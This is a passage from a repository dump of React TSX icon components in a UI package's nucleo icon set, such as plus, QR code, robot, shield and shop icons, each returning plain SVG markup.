    "content": "import { SVGProps } from \"react\";\n\nexport function Plus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"3.25\"\n          y2=\"14.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.25\"\n          x2=\"14.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/plus2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Plus2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"16\"\n      height=\"16\"\n      viewBox=\"0 0 16 16\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M8 3V13M13 8L3 8\"\n        stroke=\"currentColor\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/post.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Post(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"9.25\"\n          y1=\"12.25\"\n          y2=\"12.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"9.25\"\n          y2=\"9.25\"\n        />\n        <circle cx=\"6\" cy=\"6\" fill=\"currentColor\" r=\"1\" strokeWidth=\"1.5\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/pyramid.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Pyramid(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"1.751\"\n          y2=\"15.999\"\n        />\n        <path\n          d=\"M9.802,2.151l5.857,7.838c.327,.438,.239,1.057-.198,1.387l-5.857,4.422c-.357,.27-.851,.27-1.209,0L2.539,11.376c-.437-.33-.525-.949-.198-1.387L8.198,2.151c.4-.535,1.205-.535,1.605,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/qrcode.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function QRCode(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"5\"\n          width=\"5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"5\"\n          width=\"5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"10.25\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"5\"\n          width=\"5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"10.25\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"4.5\"\n          y=\"4.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"12\"\n          y=\"4.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"4.5\"\n          y=\"12\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"14.5\"\n          y=\"14.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"13\"\n          y=\"13\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"14.5\"\n          y=\"11.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"2\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"11\"\n          y=\"14.5\"\n        />\n        <rect\n          height=\"3\"\n          width=\"1.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"9.5\"\n          y=\"11.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"3.5\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"11\"\n          y=\"10\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/receipt2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Receipt2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.25\"\n          x2=\"1.75\"\n          y1=\"2.75\"\n          y2=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"9.25\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"9.25\"\n          y1=\"8.25\"\n          y2=\"8.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"12.25\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"12.25\"\n          y1=\"8.25\"\n          y2=\"8.25\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"14.75 5.75 14.75 16.25 12 14.75 9 16.25 6 14.75 3.25 16.25 3.25 5.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/referred-via.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ReferredVia(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.75,10.75v2.5c0,1.105,.895,2,2,2H15.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15,6h-4c-2.347,0-4.25,1.903-4.25,4.25h0\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"12 2.75 15.25 6 12 9.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/refresh2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Refresh2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"8.5 12.75 10.75 15 8.5 17.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"9.5 5.25 7.25 3 9.5 .75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M4.952,4.238c-1.347,1.146-2.202,2.855-2.202,4.762,0,3.452,2.798,6.25,6.25,6.25,.579,0,1.14-.079,1.672-.226\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.048,13.762c1.347-1.146,2.202-2.855,2.202-4.762,0-3.452-2.798-6.25-6.25-6.25-.597,0-1.175,.084-1.722,.24\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/robot.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Robot(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.25 6.75V14.25C15.25 15.355 14.355 16.25 13.25 16.25H3.75C2.645 16.25 1.75 15.355 1.75 14.25V8.75C1.75 7.645 2.645 6.75 3.75 6.75H15.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.5,12h2c.276,0,.5,.224,.5,.5h0c0,.828-.672,1.5-1.5,1.5h0c-.828,0-1.5-.672-1.5-1.5h0c0-.276,.224-.5,.5-.5Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <circle cx=\"5.5\" cy=\"11\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <circle cx=\"11.5\" cy=\"11\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <circle cx=\"5.25\" cy=\"2.5\" fill=\"currentColor\" r=\"1.5\" stroke=\"none\" />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.25\"\n          x2=\"5.25\"\n          y1=\"3.75\"\n          y2=\"6.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/satellite-dish.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SatelliteDish(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8\"\n          x2=\"10\"\n          y1=\"10\"\n          y2=\"8\"\n        />\n        <path\n          d=\"M10.25,4.75c1.657,0,3,1.343,3,3\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.25,1.75c3.314,0,6,2.686,6,6\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.419,14.419c-2.441,2.441-6.398,2.441-8.839,0s-2.441-6.398,0-8.839L12.419,14.419Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/scan-text.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ScanText(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.75,6.25v-1.5c0-1.105,.895-2,2-2h2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.25,2.75h2c1.105,0,2,.895,2,2v1.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.25,11.75v1.5c0,1.105-.895,2-2,2h-2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M6.75,15.25h-2c-1.105,0-2-.895-2-2v-1.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"5.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"5.75\"\n          y1=\"6.25\"\n          y2=\"6.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.25\"\n          x2=\"5.75\"\n          y1=\"11.75\"\n          y2=\"11.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/scribble.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Scribble(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,9.881S5.824,5.674,8.142,3.85c1.55-1.219,2.463-1.339,3.025-.778,1.025,1.021-.407,2.918-2.358,5.512s-3.363,4.082-2.294,5.091c1.055,.996,3.237-1.232,4.05-2.14s2.669-2.922,3.578-2.075c.805,.75-.39,2.562-.813,3.372s-.943,1.646-.325,2.205c.874,.791,2.245-.876,2.245-.876\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shield-alert.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ShieldAlert(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9.305,1.848l5.25,1.68c.414,.133,.695,.518,.695,.952v6.52c0,3.03-4.684,4.748-5.942,5.155-.203,.066-.413,.066-.616,0-1.258-.407-5.942-2.125-5.942-5.155V4.48c0-.435,.281-.82,.695-.952l5.25-1.68c.198-.063,.411-.063,.61,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9,13c-.551,0-1-.449-1-1s.449-1,1-1,1,.449,1,1-.449,1-1,1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"5.75\"\n          y2=\"9.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shield-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ShieldCheck(\n  props: SVGProps<SVGSVGElement> & { invert?: boolean },\n) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        {props.invert ? (\n          <path\n            d=\"M14.783,2.813l-5.25-1.68c-.349-.112-.718-.111-1.066,0L3.216,2.813c-.728,.233-1.216,.903-1.216,1.667v6.52c0,3.508,4.946,5.379,6.46,5.869,.177,.057,.358,.086,.54,.086s.362-.028,.538-.085c1.516-.49,6.462-2.361,6.462-5.869V4.48c0-.764-.489-1.434-1.217-1.667Zm-2.681,4.389l-3.397,4.5c-.128,.169-.322,.276-.534,.295-.021,.002-.043,.003-.065,.003-.189,0-.372-.071-.511-.201l-1.609-1.5c-.303-.283-.32-.757-.038-1.06,.284-.303,.758-.319,1.06-.038l1.001,.933,2.896-3.836c.25-.33,.72-.396,1.051-.146,.331,.25,.396,.72,.146,1.051Z\"\n            fill=\"currentColor\"\n          />\n        ) : (\n          <>\n            <path\n              d=\"M9.305,1.848l5.25,1.68c.414,.133,.695,.518,.695,.952v6.52c0,3.03-4.684,4.748-5.942,5.155-.203,.066-.413,.066-.616,0-1.258-.407-5.942-2.125-5.942-5.155V4.48c0-.435,.281-.82,.695-.952l5.25-1.68c.198-.063,.411-.063,.61,0Z\"\n              fill=\"none\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n            />\n            <polyline\n              fill=\"none\"\n              points=\"6.497 9.75 8.106 11.25 11.503 6.75\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n            />\n          </>\n        )}\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shield-keyhole.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ShieldKeyhole(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"8.25\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"10.25\"\n          y2=\"12.5\"\n        />\n        <path\n          d=\"M9.305,1.848l5.25,1.68c.414,.133,.695,.518,.695,.952v6.52c0,3.03-4.684,4.748-5.942,5.155-.203,.066-.413,.066-.616,0-1.258-.407-5.942-2.125-5.942-5.155V4.48c0-.435,.281-.82,.695-.952l5.25-1.68c.198-.063,.411-.063,.61,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shield-slash.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ShieldSlash(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M4.216,13.784c-.848-.755-1.466-1.683-1.466-2.784V4.48c0-.435,.281-.82,.695-.952l5.25-1.68c.198-.063,.411-.063,.61,0l5.188,1.66\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.25,6.285v4.715c0,3.03-4.684,4.748-5.942,5.155-.203,.066-.413,.066-.616,0-.458-.148-1.371-.47-2.346-.966\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2\"\n          x2=\"16\"\n          y1=\"16\"\n          y2=\"2\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shield-user.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ShieldUser(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"7.25\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.192,14.522c.518-1.608,2.027-2.772,3.808-2.772s3.289,1.163,3.808,2.772\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.305,1.845l5.25,1.68c.414,.133,.695,.518,.695,.952v6.52c0,3.03-4.684,4.748-5.942,5.155-.203,.066-.413,.066-.616,0-1.258-.407-5.942-2.125-5.942-5.155V4.478c0-.435,.281-.82,.695-.952l5.25-1.68c.198-.063,.411-.063,.61,0Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shop.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Shop(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"3.75\"\n          y1=\"16.25\"\n          y2=\"9.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.25\"\n          x2=\"14.25\"\n          y1=\"9.5\"\n          y2=\"16.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"16.25\"\n          y2=\"16.25\"\n        />\n        <path\n          d=\"M13.668,1.75H4.331c-.359,0-.691,.193-.869,.505l-1.706,2.995c.475,1.031,1.51,1.75,2.72,1.75,.908,0,1.712-.412,2.262-1.049,.55,.637,1.354,1.049,2.262,1.049s1.711-.411,2.261-1.048c.55,.637,1.354,1.048,2.261,1.048,1.209,0,2.245-.719,2.72-1.75l-1.704-2.995c-.178-.312-.51-.505-.869-.505Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.25,16v-3c0-.966,.784-1.75,1.75-1.75h0c.966,0,1.75,.784,1.75,1.75v3\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/shuffle.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Shuffle(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13.5 16L16.25 13.25L13.5 10.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.147 11L10.4 12.521C10.78 12.982 11.346 13.25 11.944 13.25H16\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M1.75 4.75H3.056C3.654 4.75 4.22 5.017 4.6 5.479L5.853 7\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.5 2L16.25 4.75L13.5 7.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M1.75 13.25H3.056C3.654 13.25 4.22 12.983 4.6 12.521L10.4 5.47799C10.78 5.01699 11.346 4.74899 11.944 4.74899H16\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/sitemap.tsx",
